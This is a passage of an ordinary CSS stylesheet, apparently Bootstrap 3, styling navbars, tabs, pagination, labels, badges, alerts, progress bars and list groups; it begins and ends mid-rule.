{\n border-bottom: 1px solid #ddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs-justified > .active > a,\n .nav-tabs-justified > .active > a:hover,\n .nav-tabs-justified > .active > a:focus {\n border-bottom-color: #fff;\n }\n}\n.tab-content > .tab-pane {\n display: none;\n}\n.tab-content > .active {\n display: block;\n}\n.nav-tabs .dropdown-menu {\n margin-top: -1px;\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n.navbar {\n position: relative;\n min-height: 50px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n}\n@media (min-width: 768px) {\n .navbar {\n border-radius: 4px;\n }\n}\n@media (min-width: 768px) {\n .navbar-header {\n float: left;\n }\n}\n.navbar-collapse {\n padding-right: 15px;\n padding-left: 15px;\n overflow-x: visible;\n -webkit-overflow-scrolling: touch;\n border-top: 1px solid transparent;\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1);\n}\n.navbar-collapse.in {\n overflow-y: auto;\n}\n@media (min-width: 768px) {\n .navbar-collapse {\n width: auto;\n border-top: 0;\n -webkit-box-shadow: none;\n box-shadow: none;\n }\n .navbar-collapse.collapse {\n display: block !important;\n height: auto !important;\n padding-bottom: 0;\n overflow: visible !important;\n }\n .navbar-collapse.in {\n overflow-y: visible;\n }\n .navbar-fixed-top .navbar-collapse,\n .navbar-static-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n padding-right: 0;\n padding-left: 0;\n }\n}\n.navbar-fixed-top .navbar-collapse,\n.navbar-fixed-bottom .navbar-collapse {\n max-height: 340px;\n}\n@media (max-device-width: 480px) and (orientation: landscape) {\n .navbar-fixed-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n max-height: 200px;\n }\n}\n.container > .navbar-header,\n.container-fluid > .navbar-header,\n.container > .navbar-collapse,\n.container-fluid > .navbar-collapse {\n margin-right: -15px;\n margin-left: -15px;\n}\n@media (min-width: 768px) {\n .container > .navbar-header,\n .container-fluid > .navbar-header,\n .container > .navbar-collapse,\n .container-fluid > .navbar-collapse {\n margin-right: 0;\n margin-left: 0;\n }\n}\n.navbar-static-top {\n z-index: 1000;\n border-width: 0 0 1px;\n}\n@media (min-width: 768px) {\n .navbar-static-top {\n border-radius: 0;\n }\n}\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n position: fixed;\n right: 0;\n left: 0;\n z-index: 1030;\n}\n@media (min-width: 768px) {\n .navbar-fixed-top,\n .navbar-fixed-bottom {\n border-radius: 0;\n }\n}\n.navbar-fixed-top {\n top: 0;\n border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n bottom: 0;\n margin-bottom: 0;\n border-width: 1px 0 0;\n}\n.navbar-brand {\n float: left;\n height: 50px;\n padding: 15px 15px;\n font-size: 18px;\n line-height: 20px;\n}\n.navbar-brand:hover,\n.navbar-brand:focus {\n text-decoration: none;\n}\n.navbar-brand > img {\n display: block;\n}\n@media (min-width: 768px) {\n .navbar > .container .navbar-brand,\n .navbar > .container-fluid .navbar-brand {\n margin-left: -15px;\n }\n}\n.navbar-toggle {\n position: relative;\n float: right;\n padding: 9px 10px;\n margin-top: 8px;\n margin-right: 15px;\n margin-bottom: 8px;\n background-color: transparent;\n background-image: none;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.navbar-toggle:focus {\n outline: 0;\n}\n.navbar-toggle .icon-bar {\n display: block;\n width: 22px;\n height: 2px;\n border-radius: 1px;\n}\n.navbar-toggle .icon-bar + .icon-bar {\n margin-top: 4px;\n}\n@media (min-width: 768px) {\n .navbar-toggle {\n display: none;\n }\n}\n.navbar-nav {\n margin: 7.5px -15px;\n}\n.navbar-nav > li > a {\n padding-top: 10px;\n padding-bottom: 10px;\n line-height: 20px;\n}\n@media (max-width: 767px) {\n .navbar-nav .open .dropdown-menu {\n position: static;\n float: none;\n width: auto;\n margin-top: 0;\n background-color: transparent;\n border: 0;\n -webkit-box-shadow: none;\n box-shadow: none;\n }\n .navbar-nav .open .dropdown-menu > li > a,\n .navbar-nav .open .dropdown-menu .dropdown-header {\n padding: 5px 15px 5px 25px;\n }\n .navbar-nav .open .dropdown-menu > li > a {\n line-height: 20px;\n }\n .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-nav .open .dropdown-menu > li > a:focus {\n background-image: none;\n }\n}\n@media (min-width: 768px) {\n .navbar-nav {\n float: left;\n margin: 0;\n }\n .navbar-nav > li {\n float: left;\n }\n .navbar-nav > li > a {\n padding-top: 15px;\n padding-bottom: 15px;\n }\n}\n.navbar-form {\n padding: 10px 15px;\n margin-top: 8px;\n margin-right: -15px;\n margin-bottom: 8px;\n margin-left: -15px;\n border-top: 1px solid transparent;\n border-bottom: 1px solid transparent;\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);\n}\n@media (min-width: 768px) {\n .navbar-form .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .navbar-form .form-control-static {\n display: inline-block;\n }\n .navbar-form .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .navbar-form .input-group .input-group-addon,\n .navbar-form .input-group .input-group-btn,\n .navbar-form .input-group .form-control {\n width: auto;\n }\n .navbar-form .input-group > .form-control {\n width: 100%;\n }\n .navbar-form .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio,\n .navbar-form .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio label,\n .navbar-form .checkbox label {\n padding-left: 0;\n }\n .navbar-form .radio input[type=\"radio\"],\n .navbar-form .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .navbar-form .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n@media (max-width: 767px) {\n .navbar-form .form-group {\n margin-bottom: 5px;\n }\n .navbar-form .form-group:last-child {\n margin-bottom: 0;\n }\n}\n@media (min-width: 768px) {\n .navbar-form {\n width: auto;\n padding-top: 0;\n padding-bottom: 0;\n margin-right: 0;\n margin-left: 0;\n border: 0;\n -webkit-box-shadow: none;\n box-shadow: none;\n }\n}\n.navbar-nav > li > .dropdown-menu {\n margin-top: 0;\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n margin-bottom: 0;\n border-top-left-radius: 4px;\n border-top-right-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.navbar-btn {\n margin-top: 8px;\n margin-bottom: 8px;\n}\n.navbar-btn.btn-sm {\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.navbar-btn.btn-xs {\n margin-top: 14px;\n margin-bottom: 14px;\n}\n.navbar-text {\n margin-top: 15px;\n margin-bottom: 15px;\n}\n@media (min-width: 768px) {\n .navbar-text {\n float: left;\n margin-right: 15px;\n margin-left: 15px;\n }\n}\n@media (min-width: 768px) {\n .navbar-left {\n float: left !important;\n }\n .navbar-right {\n float: right !important;\n margin-right: -15px;\n }\n .navbar-right ~ .navbar-right {\n margin-right: 0;\n }\n}\n.navbar-default {\n background-color: #f8f8f8;\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-brand {\n color: #777;\n}\n.navbar-default .navbar-brand:hover,\n.navbar-default .navbar-brand:focus {\n color: #5e5e5e;\n background-color: transparent;\n}\n.navbar-default .navbar-text {\n color: #777;\n}\n.navbar-default .navbar-nav > li > a {\n color: #777;\n}\n.navbar-default .navbar-nav > li > a:hover,\n.navbar-default .navbar-nav > li > a:focus {\n color: #333;\n background-color: transparent;\n}\n.navbar-default .navbar-nav > .active > a,\n.navbar-default .navbar-nav > .active > a:hover,\n.navbar-default .navbar-nav > .active > a:focus {\n color: #555;\n background-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .disabled > a,\n.navbar-default .navbar-nav > .disabled > a:hover,\n.navbar-default .navbar-nav > .disabled > a:focus {\n color: #ccc;\n background-color: transparent;\n}\n.navbar-default .navbar-toggle {\n border-color: #ddd;\n}\n.navbar-default .navbar-toggle:hover,\n.navbar-default .navbar-toggle:focus {\n background-color: #ddd;\n}\n.navbar-default .navbar-toggle .icon-bar {\n background-color: #888;\n}\n.navbar-default .navbar-collapse,\n.navbar-default .navbar-form {\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .open > a:hover,\n.navbar-default .navbar-nav > .open > a:focus {\n color: #555;\n background-color: #e7e7e7;\n}\n@media (max-width: 767px) {\n .navbar-default .navbar-nav .open .dropdown-menu > li > a {\n color: #777;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #333;\n background-color: transparent;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #555;\n background-color: #e7e7e7;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #ccc;\n background-color: transparent;\n }\n}\n.navbar-default .navbar-link {\n color: #777;\n}\n.navbar-default .navbar-link:hover {\n color: #333;\n}\n.navbar-default .btn-link {\n color: #777;\n}\n.navbar-default .btn-link:hover,\n.navbar-default .btn-link:focus {\n color: #333;\n}\n.navbar-default .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-default .btn-link:hover,\n.navbar-default .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-default .btn-link:focus {\n color: #ccc;\n}\n.navbar-inverse {\n background-color: #222;\n border-color: #080808;\n}\n.navbar-inverse .navbar-brand {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-brand:hover,\n.navbar-inverse .navbar-brand:focus {\n color: #fff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-text {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a:hover,\n.navbar-inverse .navbar-nav > li > a:focus {\n color: #fff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-nav > .active > a,\n.navbar-inverse .navbar-nav > .active > a:hover,\n.navbar-inverse .navbar-nav > .active > a:focus {\n color: #fff;\n background-color: #080808;\n}\n.navbar-inverse .navbar-nav > .disabled > a,\n.navbar-inverse .navbar-nav > .disabled > a:hover,\n.navbar-inverse .navbar-nav > .disabled > a:focus {\n color: #444;\n background-color: transparent;\n}\n.navbar-inverse .navbar-toggle {\n border-color: #333;\n}\n.navbar-inverse .navbar-toggle:hover,\n.navbar-inverse .navbar-toggle:focus {\n background-color: #333;\n}\n.navbar-inverse .navbar-toggle .icon-bar {\n background-color: #fff;\n}\n.navbar-inverse .navbar-collapse,\n.navbar-inverse .navbar-form {\n border-color: #101010;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .open > a:hover,\n.navbar-inverse .navbar-nav > .open > a:focus {\n color: #fff;\n background-color: #080808;\n}\n@media (max-width: 767px) {\n .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {\n border-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu .divider {\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {\n color: #9d9d9d;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #fff;\n background-color: transparent;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #fff;\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #444;\n background-color: transparent;\n }\n}\n.navbar-inverse .navbar-link {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-link:hover {\n color: #fff;\n}\n.navbar-inverse .btn-link {\n color: #9d9d9d;\n}\n.navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link:focus {\n color: #fff;\n}\n.navbar-inverse .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-inverse .btn-link:focus {\n color: #444;\n}\n.breadcrumb {\n padding: 8px 15px;\n margin-bottom: 20px;\n list-style: none;\n background-color: #f5f5f5;\n border-radius: 4px;\n}\n.breadcrumb > li {\n display: inline-block;\n}\n.breadcrumb > li + li:before {\n padding: 0 5px;\n color: #ccc;\n content: \"/\\00a0\";\n}\n.breadcrumb > .active {\n color: #777;\n}\n.pagination {\n display: inline-block;\n padding-left: 0;\n margin: 20px 0;\n border-radius: 4px;\n}\n.pagination > li {\n display: inline;\n}\n.pagination > li > a,\n.pagination > li > span {\n position: relative;\n float: left;\n padding: 6px 12px;\n margin-left: -1px;\n line-height: 1.42857143;\n color: #337ab7;\n text-decoration: none;\n background-color: #fff;\n border: 1px solid #ddd;\n}\n.pagination > li:first-child > a,\n.pagination > li:first-child > span {\n margin-left: 0;\n border-top-left-radius: 4px;\n border-bottom-left-radius: 4px;\n}\n.pagination > li:last-child > a,\n.pagination > li:last-child > span {\n border-top-right-radius: 4px;\n border-bottom-right-radius: 4px;\n}\n.pagination > li > a:hover,\n.pagination > li > span:hover,\n.pagination > li > a:focus,\n.pagination > li > span:focus {\n z-index: 2;\n color: #23527c;\n background-color: #eee;\n border-color: #ddd;\n}\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n z-index: 3;\n color: #fff;\n cursor: default;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.pagination > .disabled > span,\n.pagination > .disabled > span:hover,\n.pagination > .disabled > span:focus,\n.pagination > .disabled > a,\n.pagination > .disabled > a:hover,\n.pagination > .disabled > a:focus {\n color: #777;\n cursor: not-allowed;\n background-color: #fff;\n border-color: #ddd;\n}\n.pagination-lg > li > a,\n.pagination-lg > li > span {\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n}\n.pagination-lg > li:first-child > a,\n.pagination-lg > li:first-child > span {\n border-top-left-radius: 6px;\n border-bottom-left-radius: 6px;\n}\n.pagination-lg > li:last-child > a,\n.pagination-lg > li:last-child > span {\n border-top-right-radius: 6px;\n border-bottom-right-radius: 6px;\n}\n.pagination-sm > li > a,\n.pagination-sm > li > span {\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n}\n.pagination-sm > li:first-child > a,\n.pagination-sm > li:first-child > span {\n border-top-left-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.pagination-sm > li:last-child > a,\n.pagination-sm > li:last-child > span {\n border-top-right-radius: 3px;\n border-bottom-right-radius: 3px;\n}\n.pager {\n padding-left: 0;\n margin: 20px 0;\n text-align: center;\n list-style: none;\n}\n.pager li {\n display: inline;\n}\n.pager li > a,\n.pager li > span {\n display: inline-block;\n padding: 5px 14px;\n background-color: #fff;\n border: 1px solid #ddd;\n border-radius: 15px;\n}\n.pager li > a:hover,\n.pager li > a:focus {\n text-decoration: none;\n background-color: #eee;\n}\n.pager .next > a,\n.pager .next > span {\n float: right;\n}\n.pager .previous > a,\n.pager .previous > span {\n float: left;\n}\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n color: #777;\n cursor: not-allowed;\n background-color: #fff;\n}\n.label {\n display: inline;\n padding: .2em .6em .3em;\n font-size: 75%;\n font-weight: bold;\n line-height: 1;\n color: #fff;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: .25em;\n}\na.label:hover,\na.label:focus {\n color: #fff;\n text-decoration: none;\n cursor: pointer;\n}\n.label:empty {\n display: none;\n}\n.btn .label {\n position: relative;\n top: -1px;\n}\n.label-default {\n background-color: #777;\n}\n.label-default[href]:hover,\n.label-default[href]:focus {\n background-color: #5e5e5e;\n}\n.label-primary {\n background-color: #337ab7;\n}\n.label-primary[href]:hover,\n.label-primary[href]:focus {\n background-color: #286090;\n}\n.label-success {\n background-color: #5cb85c;\n}\n.label-success[href]:hover,\n.label-success[href]:focus {\n background-color: #449d44;\n}\n.label-info {\n background-color: #5bc0de;\n}\n.label-info[href]:hover,\n.label-info[href]:focus {\n background-color: #31b0d5;\n}\n.label-warning {\n background-color: #f0ad4e;\n}\n.label-warning[href]:hover,\n.label-warning[href]:focus {\n background-color: #ec971f;\n}\n.label-danger {\n background-color: #d9534f;\n}\n.label-danger[href]:hover,\n.label-danger[href]:focus {\n background-color: #c9302c;\n}\n.badge {\n display: inline-block;\n min-width: 10px;\n padding: 3px 7px;\n font-size: 12px;\n font-weight: bold;\n line-height: 1;\n color: #fff;\n text-align: center;\n white-space: nowrap;\n vertical-align: middle;\n background-color: #777;\n border-radius: 10px;\n}\n.badge:empty {\n display: none;\n}\n.btn .badge {\n position: relative;\n top: -1px;\n}\n.btn-xs .badge,\n.btn-group-xs > .btn .badge {\n top: 0;\n padding: 1px 5px;\n}\na.badge:hover,\na.badge:focus {\n color: #fff;\n text-decoration: none;\n cursor: pointer;\n}\n.list-group-item.active > .badge,\n.nav-pills > .active > a > .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.list-group-item > .badge {\n float: right;\n}\n.list-group-item > .badge + .badge {\n margin-right: 5px;\n}\n.nav-pills > li > a > .badge {\n margin-left: 3px;\n}\n.jumbotron {\n padding-top: 30px;\n padding-bottom: 30px;\n margin-bottom: 30px;\n color: inherit;\n background-color: #eee;\n}\n.jumbotron h1,\n.jumbotron .h1 {\n color: inherit;\n}\n.jumbotron p {\n margin-bottom: 15px;\n font-size: 21px;\n font-weight: 200;\n}\n.jumbotron > hr {\n border-top-color: #d5d5d5;\n}\n.container .jumbotron,\n.container-fluid .jumbotron {\n padding-right: 15px;\n padding-left: 15px;\n border-radius: 6px;\n}\n.jumbotron .container {\n max-width: 100%;\n}\n@media screen and (min-width: 768px) {\n .jumbotron {\n padding-top: 48px;\n padding-bottom: 48px;\n }\n .container .jumbotron,\n .container-fluid .jumbotron {\n padding-right: 60px;\n padding-left: 60px;\n }\n .jumbotron h1,\n .jumbotron .h1 {\n font-size: 63px;\n }\n}\n.thumbnail {\n display: block;\n padding: 4px;\n margin-bottom: 20px;\n line-height: 1.42857143;\n background-color: #fff;\n border: 1px solid #ddd;\n border-radius: 4px;\n -webkit-transition: border .2s ease-in-out;\n -o-transition: border .2s ease-in-out;\n transition: border .2s ease-in-out;\n}\n.thumbnail > img,\n.thumbnail a > img {\n margin-right: auto;\n margin-left: auto;\n}\na.thumbnail:hover,\na.thumbnail:focus,\na.thumbnail.active {\n border-color: #337ab7;\n}\n.thumbnail .caption {\n padding: 9px;\n color: #333;\n}\n.alert {\n padding: 15px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.alert h4 {\n margin-top: 0;\n color: inherit;\n}\n.alert .alert-link {\n font-weight: bold;\n}\n.alert > p,\n.alert > ul {\n margin-bottom: 0;\n}\n.alert > p + p {\n margin-top: 5px;\n}\n.alert-dismissable,\n.alert-dismissible {\n padding-right: 35px;\n}\n.alert-dismissable .close,\n.alert-dismissible .close {\n position: relative;\n top: -2px;\n right: -21px;\n color: inherit;\n}\n.alert-success {\n color: #3c763d;\n background-color: #dff0d8;\n border-color: #d6e9c6;\n}\n.alert-success hr {\n border-top-color: #c9e2b3;\n}\n.alert-success .alert-link {\n color: #2b542c;\n}\n.alert-info {\n color: #31708f;\n background-color: #d9edf7;\n border-color: #bce8f1;\n}\n.alert-info hr {\n border-top-color: #a6e1ec;\n}\n.alert-info .alert-link {\n color: #245269;\n}\n.alert-warning {\n color: #8a6d3b;\n background-color: #fcf8e3;\n border-color: #faebcc;\n}\n.alert-warning hr {\n border-top-color: #f7e1b5;\n}\n.alert-warning .alert-link {\n color: #66512c;\n}\n.alert-danger {\n color: #a94442;\n background-color: #f2dede;\n border-color: #ebccd1;\n}\n.alert-danger hr {\n border-top-color: #e4b9c0;\n}\n.alert-danger .alert-link {\n color: #843534;\n}\n@-webkit-keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n@-o-keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n@keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n.progress {\n height: 20px;\n margin-bottom: 20px;\n overflow: hidden;\n background-color: #f5f5f5;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);\n box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);\n}\n.progress-bar {\n float: left;\n width: 0;\n height: 100%;\n font-size: 12px;\n line-height: 20px;\n color: #fff;\n text-align: center;\n background-color: #337ab7;\n -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);\n box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);\n -webkit-transition: width .6s ease;\n -o-transition: width .6s ease;\n transition: width .6s ease;\n}\n.progress-striped .progress-bar,\n.progress-bar-striped {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n -webkit-background-size: 40px 40px;\n background-size: 40px 40px;\n}\n.progress.active .progress-bar,\n.progress-bar.active {\n -webkit-animation: progress-bar-stripes 2s linear infinite;\n -o-animation: progress-bar-stripes 2s linear infinite;\n animation: progress-bar-stripes 2s linear infinite;\n}\n.progress-bar-success {\n background-color: #5cb85c;\n}\n.progress-striped .progress-bar-success {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-info {\n background-color: #5bc0de;\n}\n.progress-striped .progress-bar-info {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-warning {\n background-color: #f0ad4e;\n}\n.progress-striped .progress-bar-warning {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-danger {\n background-color: #d9534f;\n}\n.progress-striped .progress-bar-danger {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.media {\n margin-top: 15px;\n}\n.media:first-child {\n margin-top: 0;\n}\n.media,\n.media-body {\n overflow: hidden;\n zoom: 1;\n}\n.media-body {\n width: 10000px;\n}\n.media-object {\n display: block;\n}\n.media-object.img-thumbnail {\n max-width: none;\n}\n.media-right,\n.media > .pull-right {\n padding-left: 10px;\n}\n.media-left,\n.media > .pull-left {\n padding-right: 10px;\n}\n.media-left,\n.media-right,\n.media-body {\n display: table-cell;\n vertical-align: top;\n}\n.media-middle {\n vertical-align: middle;\n}\n.media-bottom {\n vertical-align: bottom;\n}\n.media-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.media-list {\n padding-left: 0;\n list-style: none;\n}\n.list-group {\n padding-left: 0;\n margin-bottom: 20px;\n}\n.list-group-item {\n position: relative;\n display: block;\n padding: 10px 15px;\n margin-bottom: -1px;\n background-color: #fff;\n border: 1px solid #ddd;\n}\n.list-group-item:first-child {\n border-top-left-radius: 4px;\n border-top-right-radius: 4px;\n}\n.list-group-item:last-child {\n margin-bottom: 0;\n border-bottom-right-radius: 4px;\n border-bottom-left-radius: 4px;\n}\na.list-group-item,\nbutton.list-group-item {\n color: #555;\n}\na.list-group-item .list-group-item-heading,\nbutton.list-group-item .list-group-item-heading {\n color: #333;\n}\na.list-group-item:hover,\nbutton.list-group-item:hover,\na.list-group-item:focus,\nbutton.list-group-item:focus {\n color: #555;\n text-decoration: none;\n background-color: #f5f5f5;\n}\nbutton.list-group-item {\n width: 100%;\n text-align: left;\n}\n.list-group-item.disabled,\n.list-group-item.disabled:hover,\n.list-group-item.disabled:focus {\n color: #777;\n cursor: not-allowed;\n background-color: #eee;\n}\n.list-group-item.disabled .list-group-item-heading,\n.list-group-item.disabled:hover .list-group-item-heading,\n.list-group-item.disabled:focus .list-group-item-heading {\n color: inherit;\n}\n.list-group-item.disabled .list-group-item-text,\n.list-group-item.disabled:hover .list-group-item-text,\n.list-group-item.disabled:focus .list-group-item-text {\n color: #777;\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n z-index: 2;\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.list-group-item.active .list-group-item-heading,\n.list-group-item.active:hover .list-group-item-heading,\n.list-group-item.active:focus .list-group-item-heading,\n.list-group-item.active .list-group-item-heading > small,\n.list-group-item.active:hover .list-group-item-heading > small,\n.list-group-item.active:focus .list-group-item-heading > small,\n.list-group-item.active .list-group-item-heading > .small,\n.list-group-item.active:hover .list-group-item-heading > .small,\n.list-group-item.active:focus .list-group-item-heading > .small {\n color: inherit;\n}\n.list-group-item.active .list-group-item-text,\n.list-group-item.active:hover .list-group-item-text,\n.list-group-item.active:focus .list-group-item-text {\n color: #c7ddef;\n}\n.list-group-item-success {\n color: #3c763d;\n background-color: #dff0d8;\n}\na.list-group-item-success,\nbutton.list-group-item-success {\n color: #3c763d;\n}\na.list-group-item-success .list-group-item-heading,\nbutton.list-group-item-success .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-success:hover,\nbutton.list-group-item-success:hover,\na.list-group-item-success:focus,\nbutton.list-group-item-success:focus {\n color: #3c763d;\n background-color: #d0e9c6;\n}\na.list-group-item-success.active,\nbutton.list-group-item-success.active,\na.list-group-item-success.active:hover,\nbutton.list-group-item-success.active:hover,\na.list-group-item-success.active:focus,\nbutton.list-group-item-success.active:focus {\n color: #fff;\n background-color: #3c763d;\n border-color: #3c763d;\n}\n.list-group-item-info {\n color: #31708f;\n background-color: #d9edf7;\n}\na.list-group-item-info,\nbutton.list-group-item-info {\n color: #31708f;\n}\na.list-group-item-info .list-group-item-heading,\nbutton.list-group-item-info .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-info:hover,\nbutton.list-group-item-info:hover,\na.list-group-item-info:focus,\nbutton.list-group-item-info:focus {\n color: #31708f;\n background-color: #c4e3f3;\n}\na.list-group-item-info.active,\nbutton.list-group-item-info.active,\na.list-group-item-info.active:hover,\nbutton.list-group-item-info.active:hover,\na.list-group-item-info.active:focus,\nbutton.list-group-item-info.active:focus {\n color: #fff;\n background-color: #31708f;\n border-color: 